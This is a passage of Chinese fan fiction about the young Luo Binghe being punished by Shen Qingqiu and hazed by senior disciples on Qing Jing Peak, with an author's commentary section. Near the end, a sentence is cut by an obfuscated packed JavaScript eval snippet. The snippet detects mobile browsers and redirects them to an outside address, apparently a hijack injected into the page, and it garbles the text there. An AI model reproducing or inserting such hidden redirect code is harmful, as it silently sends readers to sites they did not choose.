可真正的事实是,他选择了他。甚至不惜与白衣打了一架,从白衣手上将他抢走。 是沈清秋选择了洛冰河。 甚至还派宁婴婴去接他过来。 这个认知冲刷着洛冰河的精神,让他就像是踏入棉花构成的海洋里,浑身软绵绵、轻飘飘的。 没有什么比得偿所愿更令人兴奋; 没有什么比得到想念之物更让人激动; 没有什么比自己想方设法接近、却发现对方早已站在自己面前,更让人从心底生出喜悦。 “今天开始起,你就留在清静峰。” 他的梦境成真了,他以为遥不可及的幻想真的成为了现实。 洛冰河的脸因血液沸腾而浮上红晕,心中的激动令他想要跳起来大声尖叫,可想到宁婴婴那句‘饱读诗书、规矩守礼’后, 洛冰河连忙压制住自己的喜悦,慌忙的从脑海中扒拉出下跪的礼节,尽可能端庄方正的跪下行礼,清脆的声音如玉珠般散落道: “弟子洛冰河,见过师尊!” 洛冰河的脑袋‘砰’的一下砸在地上,其用力之大,磕头的声音都显得不像常人的沉闷。 洛冰河抬起头来,眼睛亮晶晶的看着打量自己的仙人,听着他用平淡到毫无波澜的声音、慢条斯理的对自己发出关心:“为什么要来苍穹山派?” 洛冰河的脸很红,不仅是梦想成真的激动,还有怕回答错误惹仙人不快的紧张。他大着胆子直视着高坐于主位的仙人,脆生生的将来时反思斟酌的话语念出来: “弟子仰慕仙山上诸位仙师风采,如能拜入门下,弟子学有所成,母亲在天之灵亦能安宁。” 仙人简短的“哦”了一声,继而又对他关切的问起:“家中有母亲?” 紧接着可能是出于好奇或别的,又详细问了一边:“母亲怎么样?” 洛冰河脑海里闪过与养母相处的片段,虽然记忆会随着时间流去而褪色,但两人之间的情感却永远长存。只是提起逝去之人,语气难免有些低沉: “母亲是这世上对我最好的人。” 许是被洛冰河的悲伤所触动,洛冰河看见仙人的脸明显的抽搐了一下,右手抬起,像是对他进行安抚。 没事的,虽然母亲已离开人世,可他现在拜入青衣人门下,会得到第二个亲人的。 而且师尊在选中他之后立刻差人去接他过来,又害怕他晒到而赠送带有凉意的玉佩,这些还不足以证明师尊的温柔体贴吗? 养母在上,冰河已寻到新的归宿,您不必为我而担忧。 就在洛冰河有些黯然神伤的时候,仙人的声音再次响起,如玉石相撞、春雨坠地,仿若久旱逢甘霖,像一抹明媚的阳光强势穿透洛冰河突然沉闷的心神。 “的确是最适合修行的年纪。” 仙人,在夸他? 洛冰河猛的抬起头,目光炯炯的看着对方。仙人不仅选择了我,甚至还敏锐察觉到我失落的心情,用言语安慰我? 原来传说中的会维护弱小、伸张正义,打击妖魔、保护弱者的仙尊竟然真的存在,而且还如此的洞察人心,细致入微。 快速的脚步声响起,几个穿着与宁婴婴截然不同服饰的少年跑进来,焦急的说着什么。洛冰河看见他刚近身见到的青衣人皱起好看的眉毛,脸上浮现出暴躁。接着,洛冰河看见仙人抽空看了他一眼,里面全是他看不懂的神情。 “你看什么。”仙人的语调听起来很不友善。原来即便是仙,也会有喜怒哀乐吗? 洛冰河挂起灿烂的笑容,眼角弯成一缕锦鲤:“看您,您真好看。” 洛冰河没注意到,沈清秋身边的几个弟子瞬间就变了颜色,极其迅速的冲沈清秋鞠躬行礼,飞一般的‘逃’出去,只留下句‘沈师伯,我们先行一步。’ 洛冰河看着一身青衣的仙人将手中的折扇收起,优雅的站起身来,顺手将一旁的茶盏拿在手中,朝洛冰河一步步走来。 是的,他该给仙尊敬茶的。他要恭恭敬敬的敬上拜师茶,聆听仙人赐下的指教,拘谨守礼,不辜负仙人的期待! 洛冰河仰起脸,看着向他走过来的一峰之主,仿佛仰望着能带给他不同命运的神灵。是的,洛冰河的命途,在遇见沈清秋的那一刻起,就将踏入与旁人截然不同的命运线中。 只是—— 天神目不斜视地侧身从他身旁走过, 还顺手将手中那盏茶水,连杯带盖砸在了他身上。 虽然力道不算大,温度也不算高。可少年的心,却在一瞬间沉入深海。 神明。原来不是向我而来吗? 茶不是刚泡的,只有七分烫,可洛冰河还是整个人都呆住了。 夏天的风并不冷,甚至还带着燥热。可少年人的心,却仿佛被夹杂着冰块的冷水,浇了个透彻。 “跪好!师尊不让你起来,你要是敢起来,当心把你吊起来打!” 尖酸刻薄的声音响起,洛冰河呆呆的顺着声音望过去,是一个快步走过的少年身影。而在他前面,是刚刚负手离开的青衣人,正低头向少年交代些什么。 那样的场景过于温馨,在阳光的撒射之下,激的人眼里浮出水雾。 他做错了什么吗? 洛冰河不知道。 只是此情此景,他只觉得心中有什么东西好像碎掉了,咽喉之中也存在着什么酸涩不堪的存在,令他忍不住湿了眼眶。 被他贴着胸口放置的寒玉依旧散放着稳定的凉意,可宁婴婴递给他的布锦,却被茶水尽数侵蚀。 洛冰河盯着自己的膝盖,拳头在腿上慢慢握紧,眼泪悄无声息的凝结成珠,滴滴坠在衣襟上。 为什么,会这样呢。 究竟是哪里发生了错误? 仙人不是,还温声安慰他,伸手安抚他,出言夸赞他吗。 可是为什么,却又这样…… 是嫌弃他没准备敬师茶吗? 一定是这样, 肯定是这样。 仙人认为他的心不诚,他的准备不够充分。 所以他要更努力一些,要想方设法弥补才行。 洛冰河抬起手掌,揉了揉眼睛,将地上的茶杯收拾好。好在仙人并没有远距离的砸过来,也不曾将茶盏高高举起后抛下,所以瓷质的杯子还算完整。洛冰河恭敬的将它们放到一旁,握一握心口那枚养母给他求的玉佩,端正了跪姿。 等下他要好好问一下宁婴婴仙人的禁忌,一定要小心谨慎不要再惹恼了对方。这次他不知犯何种禁忌才会被教训,可无论如何,跪一跪师尊都是应该的。他要好好反省,争取下次不让师尊生气才行。 只是—— 热茶会变冷,黏糊糊的贴在身上真的好不舒服。 还有…… 跪在地上真的好凉啊。 时间拉长后膝盖也好痛啊。 贴在胸口、稳定散发凉意的玉佩真的好冷啊。 ——碎碎念—— 这世界上最可怕的话,是【我本可以】。 在洛冰河的立场里,他本来就是被柳清歌选中,可以直接入内门,走少年英雄的龙傲天路线的。即便柳清歌不会直接出手将他收下,但给了洛冰河一个虚无的幻想。 而这个幻想,在洛冰河发现沈清秋也出手了,并且直接带他【走绿色通道】时,立刻化成最顶级的自豪:如果沈清秋能这样,柳清歌会不会也这样?所以他被两个仙人争抢,他是这一届中最优秀的弟子! 嗯。只能说期待越高,失望越大。 所以当他后续发现【清静峰】不如他意的时候,洛冰河不会去想百战峰会不会比清静峰更差,只会觉得是沈清秋的错,带他来到清静峰却又不管他; 既然沈清秋挑选了他,却又为何不负责到底? 既然沈清秋并不看重他,却又为何非要出手破坏他的机缘,让他不能拜入白衣仙人(柳清歌)名下? 而当柳清歌的威名和沈清秋的恶名放在一起时,洛冰河对沈清秋的愤恨,就越发严重——他忘记了当时的震撼与向往,反而记恨于他,认为【沈清秋】阻断了【洛冰河】的通天青云路。 在这个故事里,我不洗白谁,也不刻意抹黑谁。只是尽可能的会在【碎碎念】里将他们的立场剖析清楚,尽量让每个人都有血有肉。 只是一个人能看见的终归有限,若有不对的,敬请指出。 此消彼长2.内门之位,绝对不让 无论哪里都有纷争的嘛,清静峰内部存在争斗多正常啊 ——正文—— “小师妹,天快黑了,早点回去休息吧。”明帆跟在宁婴婴旁边,努力劝她回去。 宁婴婴身后跟着两个女弟子,一人提着粥饭,一人提着糕点。理直气壮: “可是小师弟还没吃饭呀,我给他送些糕点。” 明帆看一眼两人,两名女弟子悄咪咪低下头:宁婴婴发话,她们敢不来吗?只是对上明帆不满意的视线,还是忍不住缩减存在感。 明帆淡淡瞥他们一眼,又挂满笑容对着宁婴婴劝道: “这些闲杂小事安排人就好了,没必要你专门跑一趟。” 只是宁婴婴完全不买账,甚至还伸出胳膊将他推开,一脚踏入门槛: “明帆你让开,别挡门!” 明帆身后两名小弟亦是满脸狗腿笑容,牢牢站在宁婴婴面前,又小心翼翼的不接触到她:“宁师姐……” 明帆错开一步,站稳身形。因背光,脸上有些阴昧不明:“小师妹……” “明帆!”宁婴婴给两位狗腿子一人一脚,气呼呼的扭回头去:“师尊都不敢拦我,你怎么敢的!” 宁婴婴说的是事实。 即便是她硬闯沈清秋竹屋,沈清秋也只会收起防御阵法,将门打开后无奈的叹口气。先是瞪上明帆一眼,接着弯下腰,伸手揉一揉宁婴婴头顶的发旋,温声问她‘小公主,这是又怎么了?’ 所以,此话一出,明帆还真不知道怎么拦。最后只能无奈挥挥手,让几人退下: “好好好,婴婴公主想进,小的怎么敢拦呢。” “知道就好。” 宁婴婴傲娇的将头扭回去,身后的两位女弟子立刻跟着上前。毕竟——她们若不跟紧宁婴婴,遭了明帆的不满可怎么办? “小哥哥!我来看你啦!” 宁婴婴的脚步轻快,一步三跳,这样天真烂漫的小姑娘举动,与刚才那个盛气凌人的‘大师姐’截然不同,也令几个打下手的弟子们,立刻垂下眼。 宁婴婴愿意表现出什么样子,与明帆愿意维护她什么样子,都不是他们这些人能随意看的。若是那个不长眼的敢对上此时的明帆,怕是这一段日子,都会很‘精彩’。 “是你?”洛冰河早在一开始听到外面的吵闹,他只是觉得声音有些熟悉。 毕竟他也只入清静峰半天,从午间到现在,除了一开始与沈清秋问答,其他时间都在罚跪,对清静峰内部的人和规则,都不了解。 当然,在他罚跪期间,面前有三名弟子轮流给他讲清静峰、苍穹山的条条框框,甚至还每隔半个时辰抽问一下—— 这罚跪,居然还带有罚背的性质,不仅不能偷懒,而且还得背诵山门条例,当真是……各种程度上的心神疲惫。 这名小姑娘,正是当初将他从人海里带出来的那位。只是当时他的心神不在这位小姑娘身上,只记得对方脸上有着婴儿肥的灿烂笑容,还给他帕子擦汗,赠他玉佩解暑。 与将他带回山后问答几句,泼他一头水后留他在这里罚跪的清静峰之主比起来,贴心程度一个天上一个地下。 “小哥哥,你叫什么呀?” 小姑娘自称‘宁婴婴’,让他喊她‘婴婴’即可。她身后的两名弟子眼疾手快的在他面前摆上了晶莹剔透、材料丰富、火候极佳的八宝粥,及栩栩如生、香味淡雅、仿佛若真花的四盘糕点。 洛冰河不习惯吃早饭(穷人家是不吃早饭),被宁婴婴带到清静峰时正是午饭的点,可惜他不知道哪里出错被沈清秋罚跪至此,已是饥肠辘辘。 但—— 洛冰河看一眼浑身散发有如实质怨气的明帆,以及虎视眈眈盯着他的各位弟子…… 小心翼翼的咽了口唾沫,谨慎抬头:“宁师姐,我叫洛冰河。” “洛冰河。”宁婴婴认真念了一遍,绽放出像花一样的笑容:“那之后就喊你‘啊洛’啦?”接着,她扭头看向其他人:“阿洛是我罩着的人,懂?” “懂!”“明白!”“晓得!” 一群人连忙弯腰点头,恨不得将‘卑躬屈膝’演绎到极致。 洛冰河看着他们对自己的高傲严酷,以及现在对宁婴婴的狗腿样式,右手悄悄攥紧:这些前居后恭的家伙,全都是狗仗人势的小人行径。 “婴婴。”明帆看着两人轻松的氛围,忍不住皱了皱眉头,看了一眼即将落山的天色,对宁婴婴劝道:“马上就要天黑了,夜间天寒,明日再让这名弟子陪你玩,可好?” 宁婴婴闷闷不乐的站起来,身后跟随一起来的两名女弟子立刻为她搭理因蹲下而沾上尘埃的衣袖。 宁婴婴回头看洛冰河一眼,恋恋不舍的跟他许下明日再见的约定,又忍不住姿态强横的用手指隔空点了点明帆: “阿洛可是师尊钦点,我带回来的人,你要是敢欺负他……”接着她左手攥成拳头,耀武扬威的虚空挥了一拳:“本女侠的拳头可不是吃素的。” “好好好……”明帆顺从的做出‘小弟被女侠砸飞了’的动作,又满脸温柔的看着宁婴婴,从怀里拿出个暖玉:“夜间天凉,回去的路上拿着暖手。” “哼。”宁婴婴一把从明帆手里拽过去,转手就送给洛冰河:“阿洛,拿着暖手。” 洛冰河:…… 眼前这个小姑娘,人是挺好的。就是这个脑子和行为,拉仇恨值的能力…… 也是满级的。 面对着恨不得将自己凌迟的视线,洛冰河头皮有些发紧,立马双手捧起,做出‘不敢收’的动作,将玉佩还回去。 开玩笑,他要是现在敢收,怕是今后怎么死的都不知道。 宁婴婴明显是整个山峰都宠着的‘大姐大’,明帆更是所有人口中的‘大师兄’。他们两个人就算是兴之所起,‘送’给别人什么东西,被‘赏’的那个人,也得看一下自己有没有那个本事拿。 而现在,宁婴婴转手就将明帆特意给她寻的玉佩送给了自己,且不说回去路上会不会冷着冻着;就算是什么事也没有,这个玉佩,它也烫手。 看着洛冰河还算识趣的将玉佩还给宁婴婴,明帆在将人送走后,优雅随意的坐在洛冰河面前,宣示主权: “小子,我不管你究竟用了什么样的方法吸引到她。但宁婴婴,不是你能肖想的人,明白?” “小人明白。”洛冰河跪的端正,看向在自己面前坐在的大师兄,立刻就搞清楚了两人之间的关系——宁婴婴不仅被沈清秋当成小公主宠着,更是被明帆早早看重,有着出乎青梅竹马的情谊! 而现在这番话,不关乎沈清秋对他的态度,也不关乎宁婴婴究竟是什么样的存在,他只是——一个男人对另一个男人的警告而已。 对此,洛冰河有些无奈的扯扯嘴角:明帆未免将宁婴婴看的太牢了些。他只是与对方碰了两次面而已,明帆就巴巴的以‘大师兄’和‘青梅竹马’的身份来压他,要求他与宁婴婴拉开距离。 “嗯。”明帆挥挥手,身后一人立刻奉上一个玉瓶。 只是明帆并没有接过,而是将身姿稍微做得端正了些,对下午轮流给洛冰河讲规矩的三人问道:“表现如何?” 三人目不斜视,弯腰拱手:“总共讲述五遍,已记下十之二三。” 十分之二三…… 明帆忍不住用手捂了一下自己眼睛,看向洛冰河的眼神里已带上了不忍目睹的抽搐:“从前并未学过诗文?” “回大师兄,小人家境贫寒,上不起学,所以不曾学过。” “……”洛冰河从那张略显尴尬的脸上,突然品味出一种‘何不食肉糜’的高傲:“那这一下午,你都记住了什么?” 一下午,记住…… 膝盖被地板硌得生疼,挺直的后背满是酸涩,被迫运转了一下午的脑子和耳边完全搞不清楚的天书,以及腹内虚空和眼前桌子上摆放的餐食香气,融合起来。 便成了最折磨人心智的体罚。 洛冰河仔细想将心神收拢,可惜身体的疲劳与一下午的书海遨游,实在是磨去他太多的精神,令他有些口不择言的发出请求:“大师兄,小人可以,先吃点饭吗?” 这句话非常的不合时宜,但对于坚持一下午、一整天没吃东西的洛冰河来说,是他目前最想做的事情。 只是…… 洛冰河看见了明帆那瞬间阴沉的脸色,以及被气得立刻站了起来,袖子挥的虎虎生风:“你!” 明帆脸上满是被冒犯到的不渝:想到这个人被师尊看重、被宁婴婴亲自带回来,结果中午不到一炷香的时间就能得罪师尊被罚跪,一个下午只记住十分之二的山规,现在还有脸问他要吃饭! 他怎么敢的? 他凭什么呀? 就这样的天资,据说还因为他,师尊与百战峰那个还打了一架! 愚不可及。 眼皮子浅到满眼都是吃饭! 而且,宁婴婴还为了他,大晚上的那么冷走回去,不知道会不会受风寒! 明帆恨不得一脚踹过去,扒开他的脑子,看看里面究竟是装的白浆还是狗屎! “大师兄!”“大师兄别生气”“大师兄,是他不识好歹,我们揍他一顿就懂事了。”“大师兄,别因为这种人动怒,不值当!” 一群人连忙挡在明帆的身前。 明明罚跪一下午的是洛冰河,明帆这个监督者看起来反而比洛冰河更生气,更愤恨。随着明帆右手剑指并起,洛冰河感受到一股气流从他脸颊左侧擦过,留下一道血痕。 被割裂的刺痛终于让他从被书海淹没的混沌中抬起头,看向眼前被众人包裹的明帆。 他不敢去擦,害怕惹怒已经很喜怒无常的明帆,让他脸上再添几道——或者脖子上。 可他也不理解究竟发生了什么事,竟让明帆气成这样,又让那群人慌张成这样。 他只是太饿了,想吃点东西补充体力。苍穹山这么大个门派,难道一碗清粥,都给不起吗? 明帆压住突突的太阳穴,从咽喉深处挤出冰冷的话语:“把粥端给他。” 麻蛋,他还得保证这个人不能晕倒在自己面前,要真是因为沈清秋让他罚跪而饿晕,怕是之后他以后都没脸见人!而清静峰,也会因为这件事作为笑柄! 真tnn的憋屈! 洛冰河如愿拿到宁婴婴带过来的八宝粥,饥饿使他毫无形象,连勺子都没用,直接对着碗沿大口吞咽。 看着洛冰河这样的‘用餐礼仪’,明帆刚压下去的情绪立刻暴涨,手中掐着的剑指举起又放下,极其艰难的克制着。而随着他心情起伏,他与旁边弟子的衣衫,都像是狂风呼啸般,翩翩起舞。 明帆用了极大的力气逼迫自己移开视线,在看见一旁原本该送出去的玉瓶后,愤怒再次暴涨—— 就这样的人,难道还该按照规矩给他一个内门之位不成? 按明帆所见,别说外门,杂役都便宜他了! 等明帆收拾好心情,洛冰河一碗粥下肚,两人之间终于又恢复了平静。明帆一脚将凳子勾过去,室内早就点起了烛火,伴随着跳动的红焰,明帆尽可能详细地将话掰碎了喂给洛冰河听: “苍穹山每三年收一次徒,期间不问来路,不拘年龄,只要能通过考核,皆可拜入所选山峰,成为杂役。” “如果期间有惊才绝艳者,会被观赛的各峰峰主记录,考核结束后有专人替他们传话。而如果他们通过了峰主单独给予的考核,可以直接晋级内门。” “正常的内门弟子要在每年九月份进行选取,期间外门弟子中每年有二十个内门名额。别看这个名额听起来不少,每年为了这个名额,外门弟子手段尽出,能将狗脑子都打出来。” “但——峰主亲自在当年六月份的收徒大会上选出之人,不计入这二十个名额之内。所以,与那些人没有直接的利益纠纷。” 明帆喝口茶,扭头看向洛冰河:“我说的这些,你可听懂了?” 洛冰河迷迷糊糊的听了一堆,心中似懂非懂,却又不敢表露,只好点点头,回道:“小人晓得。” 明帆虽然看起来平静许多,但内心早就不耐烦,故而也懒得去理他究竟说的是真是假,直接将内在关节点出来: “你本是师尊亲选,又由宁婴婴亲自带回来,内门是没得跑的。” “可惜你实在愚钝,不到一炷香的功夫就将师尊气得想用茶杯砸你。好在师尊涵养功夫了得,最后也只是泼你冷水,罚你跪在这里,望你自己反省。” “只是如此一来,没有峰主级别发话,我若是将内门之位给了你,再等三个月,那二十个内门名额,便要减掉一个。” “他们不会怨恨我。当然他们也不敢明面冲我说些什么。” “只是,洛冰河——”明帆将眼帘垂在手中的茶盏上,水气晕染之下,温热的气息就像是湿敷般舒适:“这生生减掉的一个名额,你猜猜有多少人……” “想取你而代之?” 明帆话一说完,周围的一切就陷入寂静,就连窗外的风,也不再有响声。 明帆的态度已经很明显了。 如果他不能走直达这条路,就算是给他内门名额,洛冰河也守不住。 更有甚者,匹夫无罪、怀璧其罪,他若死死占据这个位置,就如同幼儿抱金砖、步行于街道,只会给他招惹无尽的麻烦。 只是,洛冰河会甘心吗? 就这样棋差一步,从最容易接近高空的地方,在一瞬之间被打入泥潭。 他本来拥有最高的起点,最容易接近天空的青云路。却生生,在得罪最高领导人后,又被‘大师兄’一意孤行的,抹去他向前的台阶。 “我不。”洛冰河抬起头,脊背挺的笔直,眸中火焰燃起:“我本该顺理成章的喊他‘师尊’,却为何要因为这些阴谋算计,只能在边缘唤他‘峰主’?” 而且就算是他舍弃了这个内门之位,明帆能给他什么?外门?还是杂役? 明明是白衣人一开始选定了他,青衣人将他强行带回来。是青衣人阻断了他拜入白衣人的道路,合该还他另一条宽广大道。 是沈清秋选了他。现在沈清秋只是没喝他的拜师茶,只是罚他跪在这里反思,他为何要将属于自己的东西奉献出去、成全他人? 沈清秋既然选择了他,洛冰河又岂能因为这些阴私鬼魅,亲手断送与他再见的机缘? 所以今日,他不能退。 属于他的东西,就是他的。 他本来就什么都没有,他拥有的已经很少了,为什么这些人还想从他手中夺取? 这样富冕堂皇理直气壮的给他讲述这一堆,实际上做出来的却还不是从他手中夺去内门弟子的位置? 他为什么要退? 一步退、步步退。沈清秋如果不能给他内门弟子的位置,当初何必从白衣人手上将他抢下来? 他只是现在不喜欢他而已。 他只是不小心触发了禁忌而已。 只要让他找到解决办法——他会看到他的好的,他会接受他的,他会对他平和稳定的自称‘为师’,认下他的。 沈清秋合该是洛冰河的师尊,这一点,谁也不能否认! “好,很好。”明帆将手中的茶盏狠狠放在桌子上,两者相撞发出清脆的声响。明帆挥了挥袖子,站了起来: “既然洛师弟如此有胆色,就自己去拼吧。君亦清、方谢毅,看好他,不到午夜,不准让他离开半步!” “是!”“遵命!” 明帆步履悠然的走向门口,一群人围着他为他打起灯笼。在缤纷的色彩之中,明帆回过头:“从明日起的三天,如果你真能从中拔得头彩,我就给你一个机会。” “可千万别让我失望啊,洛、冰、河。” 此消彼长3.你要的,没人给得起 洛冰河一直以为他要的是沈清秋看他一眼,但实际上…… ——正文—— 随着一群人离开,方才应声的君亦清、方谢毅两人走到洛冰河面前。看着洛冰河挺直的脊背,方谢毅从袖子里面摸出一个折叠好的垫子递过去:“诺。” 等洛冰河接过去后,伸手将桌上的糕点取过来:“宁师姐的糕点,有一阵子没尝了。” 君亦清极快的重新烧好茶水,倒出三杯后,不怀好意的看洛冰河一眼,笑着打趣:“洛师弟不会去告发我们偷吃偷喝吧?” “啊?”洛冰河愣了一下,没理解面前这两个随意到就像是回了家,与之前完全不是一个画风的家伙,究竟什么意思。 他之前感受的,是苍穹山的威武雄壮,是沈清秋的高高在上,是宁婴婴的张牙舞爪,是明帆的仗势欺人,是那群小弟的随波逐流。 而面前这两个,却又截然不同。 君亦清会将苦涩的茶水端到他的面前,还自卖自夸笑的张狂:‘我的茶,一般人我都不给他喝’。方谢毅直接递给他绵软垫子,即便是洛冰河从‘罚跪’变成‘跪坐’,方谢毅也只是将两种糕点举着,问他要那一块。 “不会。”洛冰河将糕点放入口中,仔细感受着入口即化的甜味与宣软黏牙的蓬松。这样的糕点,与他包裹里的硬窝窝头,完全不敢信这会是同一种粮食制作。 原来面粉不仅可以制作面条与窝头,还能制作成像云彩一样绵软,像花朵一样鲜艳,像冰糖葫芦一样甜美的糕点。 “哼,谅你也不敢。”君亦清品着沈清秋收藏的茶叶,瞄了洛冰河一眼: “这茶可是师尊精心储存的‘白毫银针’,味淡回甘、香气清鲜,你既然喝了,我们就是一条船上的人。今后你若是将我们供出来……” “噗——”洛冰河刚吃完一块桃花酥,正准备喝口水顺顺喉,愣是给吐了出来。 丫的,一杯苦成这样的水,就让他上了贼船?现在还牵扯到偷偷摸摸动沈清秋的东西,怎么听都是很不靠谱的样子。 “不成体统。”方谢毅连忙用袖子挡住洛冰河喷出来的茶水混着糕点末,看着被搞得一塌糊涂的衣衫和没被溅到的糕点,一瞬间脸色就变了。 随着清洁咒闪过,方谢毅极其严肃的看向脸上浮现出羞愧的洛冰河,张口:“洛师弟……” 洛冰河快速从跪坐变成跪得板板正正,低头看着自己的膝盖,眼皮低的几乎连光线都进不去:“方师兄……” 几块糕点在他鼻子附近徘徊,就在洛冰河受不了即将打喷嚏时,他的下巴被人掐住,等他鄂骨被掰开,各色糕点一溜烟的被塞入他的口中。 洛冰河震惊的抬起头,只看见方谢毅板着脸、手中拿着盘子,里面是满满一叠的桃花、梨花、海棠花和荷花,看样子,是打算直接向他嘴里倒。 洛冰河被吓得坐在地上,连忙将胳膊抬起来抵挡着,边说,嘴里边吐出一堆粉末:“方师兄,师弟知错了,实在是吃不下!” 只是这句话完全没有效果,看着洛冰河实在难以下咽,君亦清也凑过来,拿着杯子怼到洛冰河唇瓣,面带蛊惑的诱哄:“乖,喝点水,别噎着。” 等洛冰河成功吃撑后,君亦清与方谢毅对视一眼,各自寻个板凳坐好,极其优雅的品茶聊天,就当洛冰河不存在似的。 而半个时辰后,洛冰河终于忍不住,走到两人身边,低如蚊嗡的示意自己要如厕。 只是两人都没搭理他。 而等他忍着尴尬大声表达时—— “哇哈哈哈哈……” 君亦清笑的右手捂住肚子,左手‘啪啪’的拍在桌子上:“小子,我们要是不让你去,你是不是就要尿裤子了?” 对面的方谢毅也点点头:“如我们这样逼迫于你,你也无计可施。若实在忍不住弄脏了这里,又被有心人上报给师尊,你说师尊是会罚你,还是会罚我们?” “而且啊,”君亦清将表情收敛了一下,眼眶还带着笑出来的泪花,脸色极其玩味,右手绞着几缕发丝,与之前的亲切师兄判若两人:“我们也只不过是好心请你吃糕点、喝茶而已。” “本质上,我们这些‘看管你’的人,即便是监守自盗的揍你一顿,也没人敢说些什么。” 另一道略显严肃的声音跟着搭腔,一张手帕被他推给君亦清。看着洛冰河如遭雷劈的表情,方谢毅抿一口手中的茶水,表情很淡:“只要你出不去,这里就算发生了什么,谁又能知道?谁又敢发声?” “……”娘的。 洛冰河忍不住问候了两人十八辈祖宗。 亏他还以为……现在看起来,能在这里站住脚跟的,都是一样的黑! 只是这两人相比较于直来直往的明帆,心里的沟沟弯弯不知道深了多少层! 迫于膀胱,洛冰河压住脸上泛起的羞涩,低声道:“师兄们说得对,只是师弟实在受不住了,这附近可有茅厕?” 君亦清挑一下眉,随手又斟上一杯茶,随着水流击打瓷质杯壁的声音响起,飘着翠叶的茶水被送到洛冰河面前。洛冰河有些整懵的看过去,君亦清就那么看着他,面色是一贯的的调笑与不正经。 随着时间过去,面前的茶水从冒烟到不再冒烟,体内充盈的液体不停敲打洛冰河的神经。在他又一次抬头看向君亦清和一旁不言不语的方谢毅时,终于下定决心,将那杯茶喝下。 而后,咽一口唾沫缓解苦涩,用满怀期待的眼神看过去,问道:“可以了吗?” 只是又一炷香过去,他没有听到任何回复。 而随着他愤怒的拳头差一点挨上两人、恨不得将这个耍他玩的家伙揍上一顿时——方谢毅开口了。 “你们都不曾约定报酬,你又怎敢给出筹码?” 方谢毅的举动一直很优雅,一举一动中满是世家公子的从容。即便是一开始去取糕点,给洛冰河塞糕点,以及那句‘不成体统’,都证明他与君亦清跳脱而黑心的性子是完全不同的。 相比较于轻快活泼,一露面就使人放松警惕,极快拉近所有人距离感的君亦清,方谢毅更像是世家里有些权势、随意中又带着古板的小少爷。 方谢毅摇摇手中的茶杯,给了个评论:“能力不高、心智欠缺。” 而随着洛冰河一拳砸过来,包括桌子在内的所有,都被无形的隔膜包裹,无论洛冰河如何使力,都砸不破。 方谢毅抬手,君亦清又给洛冰河倒了一杯茶——准确地说,即便是方谢毅手上这一杯,都不是他亲手倒的。而随着这杯茶飘浮于洛冰河面前,洛冰河不知是气得还是憋的,砸了半天无用功后浑身颤抖。 只是这次他终于学会了谈价钱,用野兽般泛着一丝血丝的眸子盯着方谢毅:“我喝了,就放我去如厕?” 方谢毅悠然的掀开杯盖,略掀眼帘:“此地只有三人,你已在他那边碰了壁。” “……”洛冰河拳头握紧。 “你没有选择。” “……”洛冰河眼中有火焰亮起,却又在现实的打压下不得不低头——就像是方谢毅一开始说的,即便是沈清秋知道这件事,也只会怪罪真正搞出晦物的他。 而君亦清看起来和蔼可亲,将那层皮剥下来,实际上比什么都心黑。 当然,更重要的是,君亦清已经拒绝并且坑了他。现在的洛冰河,就算是知道这杯茶有问题,除了喝下去,还真别无他法。 丫的。洛冰河伸手,将杯子捏的嘎吱响。最后在方谢毅的视线中,一口将他喝完。 “洛师弟有魄力。”君亦清双手叠加在一起,拍的手心都有些红:“如此一来,想必之后的话,你也能听懂了。” 洛冰河愤恨的看过去,却看见方谢毅赞同的点点头,回望过来:“大师兄苦口婆心那么久,不如我们请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15125318|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他吃顿饭来的快。” “?”所以说,他们是在给明帆报仇? 丫的,明帆此人也太小心眼了吧!亲自敲打他一番不说,还专程让这两人再坑他一次! 最可恶的还是沈清秋,明明带他过来,却让他受这些人欺负! 早知如此……还不如,还不如让白衣人带他走!定然比这里的黑心鬼魅好得多! “师弟?” 君亦清带着轻笑的声音响起,不知何时站到了他的身边。洛冰河忍不住后退一步。 “不去如厕了?” 带着调侃的声音在他头顶响起,一只温厚的手掌将他牵起来,悠悠的一步一步引着他向外走:“清静峰多是聪明人,如你这样的傻子,怎么会想不开来这龙潭虎穴呢。” “听说你是师尊亲自点头,让宁婴婴带你来的?” 洛冰河不明白这玩意又想搞什么哑谜,却也不想惹怒他之后真尿裤子。只好任对方拉着他的手,给他介绍宁婴婴的特殊存在。 “婴婴那丫头有些顽皮,在家就被宠坏了。三岁时来苍穹山本是游玩,却在看见清静峰峰主画像时,一意孤行的非要拜师尊为师。” “那时师尊还在外除妖,宁婴婴愣是就那么等。等到所有人都回去完了,他父王气得要收回给她的侍女仆从,那样金樽玉贵的小公主,依旧咬牙要等。” “没办法,当爹娘的哪能拗得过亲闺女,又在看见宁婴婴亲手收拾自己的玩具布置屋子时,干脆派人——守在师尊所进入的秘境入口,在他出现的那一刻,直接以空间传送阵,将人带了回来。” “师尊哪里抱过这样小的奶娃娃,何时收过这样小的弟子?吓得当即下了山。可当他三个月后再次回来——小家伙还在等他。” “后面的事情就顺理成章了。”君亦清捏一下洛冰河的手背,随后表示自己在外面等他:“得罪谁都不要得罪宁婴婴,不仅是清静峰、苍穹山,她身后还有一整个王朝。” “……”洛冰河抽一下嘴角:“所以人家是真的公主。” “嗯。”君亦清从腰间摸出把扇子,风流倜傥的扇了扇:“是我们所有人的公主。” 接着,他将扇子合起来,扭头看向已摆好一桌酒杯的方谢毅,露出个潇洒的微笑:“好了。等你出来,我跟你讲一下明天的考核。” “……”洛冰河想起来自己喝的茶水,对方谢毅的酒水没有一点好感。 等洛冰河坐在一角,面前摆了两杯酒的时候,他甚至有点自暴自弃了。他为什么要跟这些狐狸玩心眼?他现在应该在议事堂好好罚跪,而不是跟这两人在这边‘赏月’! “洛师弟?” “洛师弟。” 两杯酒,两个人。 方谢毅说他惹生气,会将洛冰河重新摁回去,并用术法制住他,让他规规矩矩的跪到第二天太阳升起的时候。期间,会不停的跟他重复清静峰门规,势必让他倒背如流。 君亦清说若他不开心,会直接喊上一群的人,逼他穿上女装跳一整夜的舞。 “……”丫的。都是生命不能承受之重。 